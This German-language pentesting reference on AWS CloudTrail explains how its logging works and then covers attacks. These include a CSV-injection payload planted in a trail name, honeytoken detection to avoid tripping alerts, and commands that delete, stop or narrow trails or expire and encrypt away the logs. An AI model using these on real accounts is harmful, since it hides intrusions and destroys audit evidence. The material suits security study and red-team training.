AWS - CloudTrail Enum

Reading time: 13 minutes

CloudTrail

AWS CloudTrail zeichnet Aktivitäten in Ihrer AWS-Umgebung auf und überwacht sie. Es erfasst detaillierte Ereignisprotokolle, einschließlich wer was, wann und von wo getan hat, für alle Interaktionen mit AWS-Ressourcen. Dies bietet eine Prüfspur von Änderungen und Aktionen, die bei der Sicherheitsanalyse, der Compliance-Prüfung und der Verfolgung von Ressourcenänderungen hilft. CloudTrail ist entscheidend für das Verständnis des Verhaltens von Benutzern und Ressourcen, die Verbesserung der Sicherheitslage und die Gewährleistung der Einhaltung von Vorschriften.

Jedes protokollierte Ereignis enthält:

• Den Namen der aufgerufenen API: eventName
• Den aufgerufenen Dienst: eventSource
• Die Zeit: eventTime
• Die IP-Adresse: SourceIPAddress
• Die Agentenmethode: userAgent. Beispiele:
• Signing.amazonaws.com - Vom AWS Management Console
• console.amazonaws.com - Root-Benutzer des Kontos
• lambda.amazonaws.com - AWS Lambda
• Die Anforderungsparameter: requestParameters
• Die Antwortelemente: responseElements

Ereignisse werden ungefähr alle 5 Minuten in einer JSON-Datei in eine neue Protokolldatei geschrieben, sie werden von CloudTrail gehalten und schließlich werden die Protokolldateien ungefähr 15 Minuten später an S3 geliefert.
CloudTrails Protokolle können über Konten und Regionen aggregiert werden.
CloudTrail ermöglicht die Verwendung von Protokolldateiintegrität, um zu überprüfen, dass Ihre Protokolldateien seit der Lieferung durch CloudTrail unverändert geblieben sind. Es erstellt einen SHA-256-Hash der Protokolle in einer Digest-Datei. Ein SHA-256-Hash der neuen Protokolle wird jede Stunde erstellt.
Beim Erstellen eines Trails ermöglichen es die Ereigniswähler, den Trail anzugeben, der protokolliert werden soll: Management-, Daten- oder Einblickereignisse.

Protokolle werden in einem S3-Bucket gespeichert. Standardmäßig wird die serverseitige Verschlüsselung (SSE-S3) verwendet, sodass AWS den Inhalt für die Personen entschlüsselt, die Zugriff darauf haben, aber für zusätzliche Sicherheit können Sie SSE mit KMS und Ihren eigenen Schlüsseln verwenden.

Die Protokolle werden in einem S3-Bucket mit diesem Namensformat gespeichert:

• BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD
• Der BucketName ist: aws-cloudtrail-logs-<accountid>-<random>
• Beispiel: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Innerhalb jedes Ordners hat jede Protokolldatei einen Namen, der diesem Format folgt: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Protokolldatei-Namenskonvention

Darüber hinaus werden Digest-Dateien (zur Überprüfung der Dateiintegrität) im gleichen Bucket gespeichert:

Aggregierte Protokolle von mehreren Konten

• Erstellen Sie einen Trail im AWS-Konto, in dem die Protokolldateien geliefert werden sollen
• Wenden Sie Berechtigungen auf den Ziel-S3-Bucket an, um den Zugriff über Konten für CloudTrail zu ermöglichen, und erlauben Sie jedem AWS-Konto, das Zugriff benötigt
• Erstellen Sie einen neuen Trail in den anderen AWS-Konten und wählen Sie aus, den im Schritt 1 erstellten Bucket zu verwenden

Wenn Sie jedoch alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle von mehreren Konten nicht in CloudWatch-Protokollen aggregieren, die zu einem einzelnen AWS-Konto gehören.

CloudTrail von allen Org-Konten in 1

Beim Erstellen eines CloudTrail ist es möglich, anzugeben, dass CloudTrail für alle Konten in der Organisation aktiviert werden soll und die Protokolle in nur 1 Bucket gespeichert werden:

Auf diese Weise können Sie CloudTrail in allen Regionen aller Konten einfach konfigurieren und die Protokolle in 1 Konto zentralisieren (das Sie schützen sollten).

Überprüfung der Protokolldateien

Sie können überprüfen, ob die Protokolle nicht verändert wurden, indem Sie

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs zu CloudWatch

CloudTrail kann automatisch Protokolle an CloudWatch senden, sodass Sie Warnungen einrichten können, die Sie benachrichtigen, wenn verdächtige Aktivitäten durchgeführt werden.
Beachten Sie, dass zur Erlaubnis von CloudTrail, die Protokolle an CloudWatch zu senden, eine Rolle erstellt werden muss, die diese Aktion erlaubt. Wenn möglich, wird empfohlen, die Standardrolle von AWS für diese Aktionen zu verwenden. Diese Rolle ermöglicht es CloudTrail:

• CreateLogStream: Dies ermöglicht das Erstellen von CloudWatch Logs-Protokollstreams
• PutLogEvents: Übermitteln von CloudTrail-Protokollen an den CloudWatch Logs-Protokollstream

Ereignisverlauf

Der CloudTrail-Ereignisverlauf ermöglicht es Ihnen, in einer Tabelle die aufgezeichneten Protokolle zu inspizieren:

Einblicke

CloudTrail Insights analysiert automatisch Schreibmanagementereignisse von CloudTrail-Tracks und benachrichtigt Sie über ungewöhnliche Aktivitäten. Wenn es beispielsweise einen Anstieg von TerminateInstance-Ereignissen gibt, der von festgelegten Baselines abweicht, sehen Sie dies als Insight-Ereignis. Diese Ereignisse erleichtern das Finden und Reagieren auf ungewöhnliche API-Aktivitäten mehr denn je.

Die Einblicke werden im selben Bucket wie die CloudTrail-Protokolle gespeichert: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Sicherheit

Zugriffsberater

AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS CloudTrail-Protokolle, um seine Einblicke zu gewinnen. CloudTrail erfasst eine Historie von AWS-API-Aufrufen und verwandten Ereignissen, die in einem AWS-Konto durchgeführt wurden. Access Advisor nutzt diese Daten, um zu zeigen, wann Dienste zuletzt aufgerufen wurden. Durch die Analyse der CloudTrail-Protokolle kann Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über die Verfeinerung von Berechtigungen zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und möglicherweise übermäßig breite Berechtigungen basierend auf realen Nutzungsmustern reduzieren können.

Aktionen

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Es ist möglich, eine CVS-Injektion innerhalb von CloudTrail durchzuführen, die willkürlichen Code ausführt, wenn die Protokolle im CSV-Format exportiert und mit Excel geöffnet werden.
Der folgende Code generiert einen Protokolleintrag mit einem schlechten Trail-Namen, der die Payload enthält:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Für weitere Informationen zu CSV-Injektionen siehe die Seite:

Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks

Für weitere Informationen zu dieser speziellen Technik siehe https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Umgehung der Erkennung

HoneyTokens Umgehung

Honeytokens werden erstellt, um die Exfiltration sensibler Informationen zu erkennen. Im Fall von AWS sind sie AWS-Schlüssel, deren Verwendung überwacht wird. Wenn etwas eine Aktion mit diesem Schlüssel auslöst, dann muss jemand diesen Schlüssel gestohlen haben.

Allerdings verwenden Honeytokens wie die von Canarytokens, SpaceCrab, SpaceSiren entweder erkennbare Kontonamen oder verwenden dieselbe AWS-Konto-ID für alle ihre Kunden. Daher, wenn Sie den Kontonamen und/oder die Konto-ID erhalten können, ohne dass Cloudtrail ein Protokoll erstellt, könnten Sie wissen, ob der Schlüssel ein Honeytoken ist oder nicht.

Pacu hat einige Regeln, um zu erkennen, ob ein Schlüssel zu Canarytokens, SpaceCrab, SpaceSiren** gehört:**

• Wenn canarytokens.org im Rollennamen erscheint oder die Konto-ID 534261010715 in der Fehlermeldung erscheint.
• Bei neueren Tests verwenden sie das Konto 717712589309 und haben immer noch den canarytokens.com-String im Namen.
• Wenn SpaceCrab im Rollennamen in der Fehlermeldung erscheint.
• SpaceSiren verwendet uuids, um Benutzernamen zu generieren: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}
• Wenn der Name zufällig generiert aussieht, gibt es hohe Wahrscheinlichkeiten, dass es sich um ein HoneyToken handelt.

Holen Sie sich die Konto-ID aus der Schlüssel-ID

Sie können die Konto-ID aus dem kodierten Teil des Zugriffsschlüssels erhalten, wie hier erklärt und die Konto-ID mit Ihrer Liste von Honeytokens AWS-Konten überprüfen:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Überprüfen Sie weitere Informationen in der originalen Forschung.

Kein Protokoll erstellen

Die effektivste Technik dafür ist tatsächlich eine einfache. Verwenden Sie einfach den Schlüssel, den Sie gerade gefunden haben, um auf einen Dienst in Ihrem eigenen Angreifer-Konto zuzugreifen. Dadurch wird CloudTrail ein Protokoll in IHREM EIGENEN AWS-Konto und nicht im Konto des Opfers erstellen.

Das Problem ist, dass die Ausgabe Ihnen einen Fehler anzeigen wird, der die Kontonummer und den Kontonamen angibt, sodass Sie sehen können, ob es sich um ein Honeytoken handelt.

AWS-Dienste ohne Protokolle

In der Vergangenheit gab es einige AWS-Dienste, die keine Protokolle an CloudTrail senden (finden Sie eine Liste hier). Einige dieser Dienste werden mit einem Fehler antworten, der die ARN der Schlüsselrolle enthält, wenn jemand Unbefugtes (der Honeytoken-Schlüssel) versucht, darauf zuzugreifen.

Auf diese Weise kann ein Angreifer die ARN des Schlüssels erhalten, ohne ein Protokoll auszulösen. In der ARN kann der Angreifer die AWS-Kontonummer und den Namen sehen, es ist einfach, die Kontonummern und Namen der HoneyToken-Unternehmen zu kennen, sodass ein Angreifer auf diese Weise identifizieren kann, ob das Token ein HoneyToken ist.

Zugriff auf Dritte Infrastruktur

Bestimmte AWS-Dienste werden einige Infrastrukturen wie Datenbanken oder Kubernetes-Cluster (EKS) erzeugen. Ein Benutzer, der direkt mit diesen Diensten (wie der Kubernetes-API) spricht, wird die AWS-API nicht verwenden, sodass CloudTrail diese Kommunikation nicht sehen kann.

Daher könnte ein Benutzer mit Zugriff auf EKS, der die URL der EKS-API entdeckt hat, ein Token lokal generieren und direkt mit dem API-Dienst sprechen, ohne von CloudTrail erkannt zu werden.

Weitere Informationen in:

AWS - EKS Post Exploitation

CloudTrail-Konfiguration ändern

Trails löschen

aws cloudtrail delete-trail --name [trail-name]

Stop trails

aws cloudtrail stop-logging --name [trail-name]

Deaktivieren der Multi-Region-Protokollierung

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Protokollierung durch Ereignis-Selektoren deaktivieren

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Im ersten Beispiel wird ein einzelner Ereignis-Selektor als JSON-Array mit einem einzelnen Objekt bereitgestellt. Der "ReadWriteType": "ReadOnly" zeigt an, dass der Ereignis-Selektor nur schreibgeschützte Ereignisse erfassen sollte (CloudTrail-Insights werden beispielsweise keine Schreibereignisse überprüfen).

Sie können den Ereignis-Selektor basierend auf Ihren spezifischen Anforderungen anpassen.

Protokolllöschung über S3-Lebenszyklusrichtlinie

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modifying Bucket Configuration

• Löschen Sie den S3-Bucket
• Ändern Sie die Bucket-Richtlinie, um alle Schreibvorgänge vom CloudTrail-Dienst zu verweigern
• Fügen Sie eine Lebenszyklusrichtlinie zum S3-Bucket hinzu, um Objekte zu löschen
• Deaktivieren Sie den KMS-Schlüssel, der zum Verschlüsseln der CloudTrail-Protokolle verwendet wird

Cloudtrail ransomware

S3 ransomware

Sie könnten einen asymmetrischen Schlüssel generieren und CloudTrail die Daten mit diesem Schlüssel verschlüsseln und den privaten Schlüssel löschen, sodass die Inhalte von CloudTrail nicht wiederhergestellt werden können.
Dies ist im Grunde eine S3-KMS-Ransomware, die in folgendem erklärt wird:

AWS - S3 Post Exploitation

KMS ransomware

Dies ist der einfachste Weg, um den vorherigen Angriff mit unterschiedlichen Berechtigungsanforderungen durchzuführen:

AWS - KMS Post Exploitation

References

• https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory